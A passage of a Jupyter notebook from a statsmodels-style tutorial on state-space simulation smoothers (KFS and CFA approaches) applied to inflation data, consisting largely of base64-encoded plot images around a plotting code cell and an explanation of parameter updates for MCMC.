JGtOuyisNeB71s26XL9GW0/T8mynI3u6bkSc4UaHkUi4FaIN5zmv2wTYNzvAJwNy8IlCyQb7AhZEvllz1KTySQA11xzzcKfk0E3Y+kK+8ey1HUL+DFUeL5Yx7JFov2rOHp2HMO0yFZ09p+fp71ngFVdMTqj3ufl9vhVFPG5WNcVWdjTuRWJ7riPXFXn+FSBoZYALsmmWgcbi2zZoCvm5ehkAb9bZmlrEN20EGyYLdbpirr50e7v0nXJOzg2mWfX2RSGZdMe8iCJArZtky7pBD0yuYr+vK7xBXmXCoJwHfAJQAI+a9v2Pz3X48vVOpv7OwkF/HzzyTESQZXb1rbjccnUdBNtxmI0XWYya1Kum/Q2+Ries2kaXEehXKOnOcotK1vxumREERRJYnl7iGxZg2Ur8Te18sPt++hZvh4h3MqgW6E97OHR0w4EdFmbwz549NQctg2re5KMLVnKPTv3sPGKGwh7XFzcH+Rvf/R11PQ0Hd0vYyJXY0lLiC0DMabzdeaKNVLFOk+OZSlUdCygP+EjqCpoloVLlpgpVDkwlsPrcm6IlmVT1kwWLV/DtgMnufexffhbFxHvGSLskalpFiXJqRuqGxYdUQ/LWh0gkyK38dJrL+cfP/IxvnHvYzy+dx+LL9pKyOtCEGAqW6Mt7KY55KaimZxLlUiNahyZzGOYNpIoMJgMMJV3bmRLG/3DZ+aKLFq+moPf+hb5sVNs27WHYrHMm17zcpIdvZyfLzOaqiCKTtvIoqQDb5or1on6XIiCU3v1FLW7PxHgoj6d45N5/G6FniaJfEXnewcmCLhkCnUDzbRpDanUdIumgEqpbqDKEnH/r68e7pZbbiGddrJZF3RBF3RB/9e1detWPvnJT3Lw4EHWrFnD0aNHF1ob/rdKlkQGkgGOTuYZmS8z2BygM+YlO3GW+VKdJa0hzswWkSWBuVSGgM/Lyq4mIheqSy/oF1TY62J5I/4BjtPUtsHCJhFUWdoa/JWHYZEGd2E8UyXgdtgwL1Q1+YspSRToTwTwqzXOp8u4ZJFCTWcyVwXArYi0hjwkQz97QBLyufnEX72Tv/vXIIpWoK+zjbjf/XOBqb9JEkWBweYApZrxjHuUE4/z0RH1sqhU58R0gal8jTVdUV6T9PGjIzOsuPa1fP1LX+CV126hbWApGy67hg0bNjK69wH6OtsIBf0/s/ITHN5cf8JPe8SJVcwVahiWDYLNkcn8066lNeymM+pdGIx3RL20hj3PcLI8171WFAU8LqdBcD7kxud6YYZNTQFncFGum/TEXxinUltbGwCve93rFv4uEVDJljVcskhLSCbgVvC5JARBWChN6Ozs5NRUlidHs9g2jI4Ms6Q99oJyn36efpq/0hx0s6w1xK6zKfaP5fCLBiWcWFS2AaAVBJAEp3WrZji8F8O0WZxUMPMzGIEW9pxLo0giTT6VQk3HMC3WdEWoaSaZirYwfP251/erPkFBECTgduBqYALYKwjCD2zbPv6zvsZC4LKLN3DHvglqusW6rigjqTIVzVyAn9g4EJoNPc4U7kt7RmnqHCB/cA8bVw4R8bkQRQG1Md3tinop1AzqpsWqDReze/sjLL/mJiRRYHEDKGJZju3Lr8qcnS/hVRXeuDmJR5HIZzcwMpPjnm07+fA7XsuJ4RFOjYxy85WXYdsCHREvb9vSg09VePjUPNVMheaQh0WJAH0JP9maxmyuTn/ChySI/OjwFDuG5+iM+gioCrpp87qLOpnKVdkzkiGZaGY+l2docBBVkYkFVFRZIl2q0xJ0OraDHgW3y5lsnpwucHgij2XZrFu7husvvWihjilV0rhycROKJGFaNkPNQcqawc7heY5NFijVTUIemelCHVkSmMw5+T2PImHbsHn1Er7z8cN89aO78cZb+YP3foBYayedER89TV46ol6iXheSJKIbJntGMiwXoTXsIVXSSJU0Am6ZpoADSFrVESZXdqZz5Ub/cqai0+RXWdwSIORVGJkvU9ZMYn7H4tUcUn/tJ30XhhYXdEEXdEGOnmJbbN++nWg0Srlc/l/Jt/hp+VV5gW6/93wGK9KJgchctshouoJPlVncEqQwN0HSVb8wtLigX1pDzYGFRf1TEhCQReEFi3G0R7yEPE42/X+bW6o55MarSozMl7Ft6Ih6iPnU5x3Vag17+aO3vQlZEhDgZ3IqfpOlSOJz3qOkRvteIuhGM6yFE/vLBpu437D49A8e4/SRfTzxxBNsu+8uvvfFTyG5/dz2xrfTE/c/L5aCW5HoadSOzhZq1A1zwcHic8k/M2bzXPGb55IgCC9oo4ZbkQi4ZeqGReIFaoq64oor+Pa3v82tt9668HeKJC5E+X9asiTSHHKzOOlj95OP0xx0IwsWI/se5RVXvvcFuaZfVoLgAIivdTez7dQ8PlVEr4pkihpdcR8TOSfiE3QrIAgEVJmxVIWYz8XqqIkr2U9ajDKgSJTrRiPqYxLyuOiO+RnPVtBMmyWtwed1PS+E42IDMGzb9kjjCX4DeAnwMwcXgigy5+3GzpTZ1BtHFAVsG2KN/JTXJeFRImQqGmPpCiPzZZa3BWnyrkBf28OKRe1kKzphr4JmOHYbWRKJ+lxs7o1z9LJL2Lt3L5vXr8W24dB4lmPTRVZ0hNAMi+8fnEQ3bC4famKoOcD+sRzhaIzWlgR79z5BLn8Dn/3BdlyhBBdvvYRNQ+3sH8txx74pOmJeFjf7CapOv3Y8oKJbFhOZKqdnipTqTmRkvlgnVdYaXdgelrYGWdUR5rHhNK0hN8uWDHH/tz/Pe97zWi5a1UO27FBroz6F1rAXtyJyZCJPplQHAixpDfLAsVlyVY1NvTFmi/UFYExNN9EMm86o+2k35a6ol6/uGWO+XF/oks5WNIp1g8MTeTpiHt5wUSeGCVffcAsPPvggH/3wPxJq6WE0XUGWBTqiPmzbZiJXpaKZVHUTWRLpT/hpCqh0Rm3mi3WHHDtfRhDKBN0KfU0+xjJlYn6Vjb1RKnWTQk1nUXOAuUKd1pCHpW0hZFGgXDf+R9DBL+iCLuiC/q+otbWVvr4+duzYQV9fH/C/E8z5bGoJuREFgZpu0hILYVXzdHhNRqpOTnqwOUB6+BAdrc0v9qVe0G+wRFHALf76D0z+N6+fgm6FVR3hX+prQx6HK1DXLYaafz6o9H+7fvL5t4a9rOmKcHBcYMPWq7jm2usR+AAnT57gyJEjvOzGq58Xt+Onv/9P133+pmhRMoCN/YINFCVJ4hWveMUv/HUDAwN885vfpDWoMDw8jGEYLF68+AW5pl9VT7UQtXvh6ESOyVyVoFehK+KlWDfIVOp0xT1U6iYlzeDGFS0cGD6Cu289Lq8Pw7SYylVJBFXqpklX3INuWazrjlCs6qTL/31RkTZg/Cf+ewLY+NMPEgTh7cDbAdRoC7mqyeb+MFsXxfG4ZFRZJOhWFl40Z+dLzBXq5KoaMb+LJa1xJnNVzs2XSfhVinWDqmY6fId8jYAqkwi6ifhcvP2mi1ky0ENzJMB8qc7ecxkGEgH+f3v3Ghznfd13/Hv2jt3FLnaBBUEABC9YkBRpyqIoy5ZlMZHsVL3a9bieuMlkUreN48aeJqmnncTTmWbSN500SdsXbTNKa8kzTSOnbTqyUo3V2O3YTSzbul8okSJIihRIEFjcF8Bir/++eHYhkARIgASIJff3mcFw8Tz77P7J4ZndPXv+5+zfEef5t8YYz3t7qMbmivy3l0eYX6pwbE+KnX/rI/zqK3/Jbz35LG+/P8WRgQyffTBLoVyjryPK/FKFyfkSk/Nl+lJthANesmRkepFcvZphPF9kT2eMgzvbmZgPE/AZQzviPLAnzQtnJnh/epEHBzs5uvthPveJwxwY7Gd+qUI46KPDghRKPrrbw8TDgeXxPpPzRWLhgLcHqFDih2cm6UlGaAsGGOyO0xb018eSFujtiDBTKDOzWObU5TlK1Rr7umLLew57Em2EA356kxGcgzdH5vj4YCf/8utf49e++iss1fxcml3i0YMZnIPh8XkAfOaVe7WHA/Qmg8vbOvw+oyfZ2KLi/ftMzBeZLdQ4tDPJ3kyM3o42nHOcuDTHmfEFwNuH2ZgScjeUNoqI3GmOHz/Ot7/9be6//34ADh8+vM0ruj3MvNctgEP9nVQmRxgIFziyfx/JaJD+VJRLF0e4/+h927tQEblpZsZgV5xitarKqVUc2ultm3fOEfD5CAZ87N/5Uf7Opx5quVHPzZLUymaz1Go1zp07xzvvvAPAoUOHtnlVH+hLtbGzI0Jt4TwBq5FoCxEK+AgFfZwem+fExTnKVUcsEiAaCvDqyDy4Gsd2p5gr19jTGWVivkQ0GOBIX4p9mRhBv4/u9ghLl2ZvvAA2J3GxWnrKXXPAuSeAJwAyew66jmiIZFuI0dki4I198kYHBanVHBPzRfzmIxkJsisdZWeyjUw8TEdbiFx+ydsL4yDoN2YKZU5e9hqDREMBUrEQjxzs5YfDE7x6YYZK1evQ/GevX2a2UGZoRzuJSICqcwT9Po7tSXPfrg6md6f4w6EBXnv3AtW5cX79y/+QizPenq2DPe08ku3knct5zuYWyBfKLJQrXJ5bYmS6QFc8zIN700zki0wulkjFQjw02Mn5yUXem1xkqVzj1OU5BrvjPJztYrFU5f2pGOVqjWLFG/3qnKNS8z7gx8MBr4cExpsXZ2gPB+rJCR+5+RK1mQKHepPLjW7K1RoXZwpcmi3gHMwtlSmUaty7q4MP9Sbx+64sT6zWHKcu53nlwjT/++0xHhnKsFQ1Tp2f5uDOdj7U14FzjoVilXDQRzjgu2GJXTQUIJoOsCsdZb7odcttlF2ZGdlub1RWTzKyrc2jRETES1w8+eSTfOtb32Lv3r20t29dg+RmlclkAMjlcnz8414Zb6lUYmxsbHmfsojcmbzpJq31IXy9An4fg5nb1ztBbiybzQIwPDy8nLg4cODAdi7pCn6fke2KUZmfxKoVhjJxRmYWWSjXSMVCXJhepFCq8sDuFEvlKoXFeZbOv0EwlmRutkwt7Kdcq/Gpe3o40NN+xePuX+eAhs1IXIwAu1b83g9cut4F0XCQv/fwHipVx8GeOLFwkMWSt+/l8lyBU6PzREJ+dqej9CQjy6VHjS0KXfEQfp83SidfrLCzPcy5CW929Yd3ddARDbJQrHB2YoGxuSX2ZWJUajVi4SAPDaY5tjvN5EKJs7kF2iNez4vX3p9hIl/ko4/+NU489U36QwUyew4u791qNIC5fyBFOhbykhfFCuP5JXYkIhzamVged5WIBHnsnm5S0RDpWJgXzkxyeizPrnSUR7Jd+P0+km0+kqvsdWo0aBmbW2J8rkipWuXl9+ZxOPo6ovR2xLhnZ5Lx/BLVquPC1CID6ejyuCbDqNYczjn2dMbYv2P1PX1+n3GoN0EyGuAvTk/w3XfGcM7rent0IFXfe2YkozeXhYyHA8sVFQ2RoJ9ju288UktERLZeo8/FiRMn+PSnP73Nq9keKxMXDaOjozjn6O/v365liYhIixkaGgLg9OnTvP322+zevZtYbGMjXrdaX6aD0vh7VKtlggHY35PgtQvTVGuOZDhA2O8DM85PLVJemMMXCPLmWJHOeIj2SIjdnbFVm42ut/p+MxIXLwJDZrYXuAh8Afi5613QFvJzbHeaVy9MMzpb5FBvmFAgRCISZL5YYbA7Tm9HhHDAv+oM68Y+m1gowI/PTTI2XyToM85OzPP+1CLpWIhSpcZCqcLx/V3MLVVpC/r58K4k++qjO3ckIvh9xvD4PAvFyvI82c994kP4Jx/m0IH9DHbHycSvbBrpq8/pbo8EaY8EuKc3wZG+5PI/eLXm8BnL1/Sn2vhQX4KJ+RJHBzrw36DRTaNBS08ywtxSmbagj8n5Evt3tPPwUBfpqNeUtFrzkhajs0vMFMoMZmLsrs/bPTWWJxkNMrSORkR9HVH++pGd/OB0jkKxyieyXTc9UkhERO4c+/bto7e3l0uXLrVMf4urNRIX4+Pjy8cuXrwIoIoLERG5bTo7O0kmk8sVF820TaQhnU5TunQSX63CyMwSn7u/n1QsxPdPjlGu1kjWp3fOLVaYzedJHfkp4uEA9/Z3kF8q05Nsu6WtSLecuHDOVczsq8DzeONQv+GcO3G9a+Jhr8tsX6qN9yYWmS2USbYFl8fRHO5N3HArQcDv43BfkmjYzyvnZwCvWmB+qUIqGiTgNw5H24mGgswWyvh9Rs1BqVoj4DMCfh9d8TDJtiC5fJHzk4vs7oxxsKed+//xF5fvs5ZMe5j2SADnrswSXd0l18w42JOgWKmtuxNyQyIS5L6BFIf7ktd09vX7jL1dMdLREGcm5jlxaY5Me5iJfJFYKMCBHe3rbjLTHgny+KEeqs4paSEi0iLMjOPHj/P000+3bOKira2NeDx+RcXFyMgIgCouRETktjEzhoaGOHXqFCdPnuSxxx7b7iVdI5VKUc1PEHVe38nTY/N8ZE+K9pCfvxiepFKrUSzXiIX9LMxOEQ3AR/elAaM9ErymIGCjNqPiAufcc8BzG71uR3uESzNLvD+1iEu1cXGmwI5EeEP9D/Z2xRlIx1goVcgXyrwxMsvkQoneWASf+ajWHB/Zm6ZcqXF63GscAt4c6GgogN8HuXyJdCzEULfXL2K9n93XW9bizR6++YTA9cYRJaNB7u1Lcn5qkfG5Im0hPwd3tl836bKagN+3Of8ZRETkjvHYY4/x9NNPc/To0e1eyrbJZDJXJC4aFRdKXIiIyO2UzWZ55plnWFpaasqKi1QqBbUKPUzhzPjRmUky7WEO9CQIB/2EAz5+8t4Ul2eXmKrF6fBdJuj3g3NgProTt9bjcFs/q/p8Rn+qjbO5Bd4dmyca8rO7c+N7efz1vhKJSJCu9jBvjsxSqtTw+YwDPe3ebFm8yoKFYoXFcpXFYoWFUpWlcpXuRJh9XbE7dr5zo8HOjkSEcMC3rrnLIiIiX/ziFzly5Aj79+/f7qVsm6sTFyMjI7S1tdHR0bF9ixIRkZaTzWYpFAoATTMKdaVUyutV2LYwxp7edt6+lOfH56ZIx0Lsy8Q5N7FAPBygHAuxmJ+mOxkj6Iea8youbrWyf9u/ZM/Ew1ycKVCu1BjaEb9mq8VGhQN+st1xzuTm2dMZoyP6wQikUMBHKBBiZXtI59wdm7C42tXNMEVERK4nEAjwsY99bLuXsa26u7uXqyzAS1z09/ffNe8NRETkztBo0AnNmbgIBoPE43FmZqZ5aLCL6YUSY3MF/s/JcR4/3MPI1CILxSpBv5/5d3/CwKMP0Z2IcHHaG2Zxq7b9k67PZ9zTk6BSqxENbc5yOqIhju1Or+u+emMiIiLSujKZDK+++ury7xcvXlRjThERue0aI1F7enqWqxuaTSqVYmpqin1dcXo7oswslpgrlPneyTGWyjU6YyGCPpgcGWZX1+MslqqEAkYqeuujiZtiT0FbyE97RHOWRURE5PZqbBVxzgEfVFyIiIjcTo3ERTNWWzSkUimmp6fx+4zDvUl85rV+mFksEwn4SLQFqRYXqc5Pk+rKMLNYJhOPbEqxQFMkLkRERES2QyaToVQqkc/nqdVqXLp0SRUXIiJy22UyGXp6ejh27Nh2L2VN6XSa6elpAIZ2xImG/SxVatzX38Hh3gTOQaA8DzjCyQzOcctNORu2fauIiIiIyHbJZDIA5HI5CoUC5XJZFRciInLbmRkvvvhi024TAa/i4vTp04A3+fKengQvX5jhI3vSLJWr+AzK+SkCyR0QTZNsC657EueNqOJCREREWlZ3dzcA4+PjGoUqIiLbqr+/n1hs41M2b5dGj4uGgzvbCQWM196fYTxfBOD1C1P4E93s7kmT7Y5v2nOr4kJERERa1sqKiwZtFREREbnWyq0iAJFggAPdCd68OMPEfJFdqSgLs9OUxoY5OthLKLB5dRKquBAREZGWtTJxMTIyAqjiQkREZDWpVIpCoUCxWFw+drgvQTDgIxEJct+uDvz5UVypQGdn56Y+tyouREREpGWtTFzk83n8fv/y9hERERH5QKP/xvT0ND09PQDEwgH+5pGdREN+IqEAuVyORCJBOLw5TTkbVHEhIiIiLSsajRKLxZYrLnp7e/H7N6eRmIiIyN2kkbhY2ecCIB0PEwl5NRG5XG75S4HNpIoLERERaWmZTIbx8XFGR0e1TURERGQN6XQa4Io+F1fbqsSFKi5ERESkpWUymeWKCzXmFBERWd3KrSJrmZiYoKura9OfW4kLERERaWkrExequBAREVndWltFVlLFhYiIiMgWyGQynDlzhoWFBVVciIiIrKGxVWStxIVzTokLERERka3Q3d3N7OwsoFGoIiIia0mlUsRiMc6fP7/q+Xw+T6lUUuJCREREZLOtfIOlxIWIiMjqzIzBwUGGh4dXPT8xMQGgHhciIiIim21l4kJbRURERNaWzWbXTFzkcjkAVVyIiIiIbLaVb7B6e3u3cSUiIiLNLZvNcvbsWarV6jXnlLgQERER2SKNN1iZTIZwOLzNqxEREWle2WyWUqnEyMjINeeUuBARERHZIt3d3YD6W4iIiNxINpsFWHW7iHpciIiIiGyRxjdDSlyIiIhcXyNxcebMmWvO5XI5wuEw8Xh8059XiQsRERFpabFYjPb2dgYGBrZ7KSIiIk2tr6+PcDi8asVFLpcjk8lgZpv+vIFbudjMfgv4JSBXP/R159xzt7ooERERkdvpmWeeWf4WSURERFbn8/nWHIk6MTGxJf0t4BYTF3X/xjn3u5vwOCIiIiLb4tFHH93uJYiIiNwR1kpc5HK5LelvAdoqIiIiIiIiIiLrlM1mGR4exjl3xfHGVpGtsBmJi6+a2Rtm9g0zS23C44mIiIiIiIhIE8pmsxQKBUZHR684vq2JCzP7rpm9tcrPZ4D/CAwC9wGjwO9d53G+ZGYvmdlLjfmuIiIiIiIiInLnWG0karFYJJ/Pb1+PC+fcp9bzQGb2h8CfXedxngCeAHjggQfcWvcTERERERERkea0MnFx/PhxwGvMCTRnjwsz27ni188Cb93ackRERERERESkWQ0MDBAIBDhz5szyscauimadKvI7ZnYf4ID3gF++1QWJiIiIiIiISHMKBALs3bv3iq0iTZ24cM79wmYtRERERERERESa39UjURtbRZp5qoiIiIiIiIiItIirR6I2Ki6asseFiIiIiIiIiLSWbDbL3NzccqVFLpfD5/ORTqe35PmUuBARERERERGRdbt6JGoul6OzsxOfb2tSDEpciIiIiIiIiMi6XZ24mJiY2LL+FqDEhYiIiIiIiIhswJ49e/D5fMsjUXO53Jb1twAlLkRERERERERkA8LhMAMDA1dsFVHFhYiIiIiIiIg0jcZkEVDiQkRERERERESazODgIMPDw1SrVaamppS4EBEREREREZHmkc1mmZyc5Ny5c9RqNfW4EBEREREREZHm0Zgs8sILLwCo4kJEREREREREmkcjcfGjH/0IUOJCRERERERERJrIvn37ACUuRERERERERKQJRaNR+vr6eP311wHU40JEREREREREmks2m6VarQJKXIiIiIiIiIhIk2n0uUgkEoTD4S17HiUuRERERERERGTDBgcHg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\n", "text/plain": [ "<Figure size 1080x432 with 2 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "# Plot the inflation data along with simulated trends\n", "fig, axes = plt.subplots(2, figsize=(15, 6))\n", "\n", "# Plot data and KFS simulations\n", "dta.infl.plot(ax=axes[0], color='k')\n", "axes[0].set_title('Simulations based on KFS approach, MLE parameters')\n", "simulated_state_kfs.plot(ax=axes[0], color='C0', alpha=0.25, legend=False)\n", "\n", "# Plot data and CFA simulations\n", "dta.infl.plot(ax=axes[1], color='k')\n", "axes[1].set_title('Simulations based on CFA approach, MLE parameters')\n", "simulated_state_cfa.plot(ax=axes[1], color='C0', alpha=0.25, legend=False)\n", "\n", "# Add a legend, clean up layout\n", "handles, labels = axes[0].get_legend_handles_labels()\n", "axes[0].legend(handles[:2], ['Data', 'Simulated state'])\n", "fig.tight_layout();" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Updating the model's parameters\n", "\n", "The simulation smoothers are tied to the model instance, here the variable `mod`. Whenever the model instance is updated with new parameters, the simulation smoothers will take those new parameters into account in future calls to the `simulate` method.\n", "\n", "This is convenient for MCMC algorithms, which repeatedly (a) update the model's parameters, (b) draw a sample of the state vector, and then (c) draw new values for the model's parameters.\n", "\n", "Here we will change the model to a different parameterization that yields a smoother trend, and show how the simulated values change (for brevity we only show the simulations from the KFS approach, but simulations from the CFA approach would be the same)." ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:38.199447Z", "iopub.status.busy": "2021-02-02T06:51:38.195708Z", "iopub.status.idle": "2021-02-02T06:51:38.608585Z", "shell.execute_reply": "2021-02-02T06:51:38.608959Z" } }, "outputs": [ { "data": { "image/png": "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